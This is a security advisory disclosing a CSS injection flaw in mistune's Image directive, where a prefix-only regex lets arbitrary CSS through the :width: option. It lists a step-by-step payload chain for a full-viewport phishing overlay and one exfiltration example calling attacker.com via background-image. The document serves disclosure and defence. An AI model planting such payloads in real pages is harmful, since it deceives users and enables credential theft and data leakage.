GHSA-ccfx-mfmx-2fx9 Mistune Image Directive CSS Injection Vulnerability
SummaryThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r"^\d+(?:\.\d*)?")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.When the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style="width:...;"` or `style="height:...;"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.An attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.Details**File:** `src/mistune/directives/image.py`And in `render_block_image()`:The `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.PoC**Step 1 — Establish the baseline (safe plain-integer dimensions)**The script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:Expected and actual output — clean `width=` and `height=` HTML attributes, no `style=`:**Step 2 — Understand why non-integer widths go into `style=`**When `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += "width:" + width + ";"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.**Step 3 — Craft the exploit payload**Provide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:`100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width`;height:100vh` — overrides height to full viewport height`;position:fixed` — lifts element out of document flow, fixed to the browser viewport`;top:0;left:0` — anchors overlay to the top-left corner`;z-index:9999` — places it above all other page content`;background-color:#e11d48` — fills the overlay with vivid crimson`;outline:8px solid #facc15` — adds a bright yellow border`;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacityFull exploit markdown:Actual output:Every injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `<img>` element:expands to fill 100% of the viewport width and heightsits fixed at the top-left corner, scrolling with the viewportis coloured crimson with a yellow outlineappears above all other page contentThe result is a complete full-page phishing overlay generated from a single Markdown image directive.ScriptI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.Example usage:Once you run the script, open `report_h6.html` in the browser and observe the behaviour.Impact| Dimension        | Assessment |
|------------------|-----------|
| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |
| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |
| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.
CVSS v3.1 score: 4.7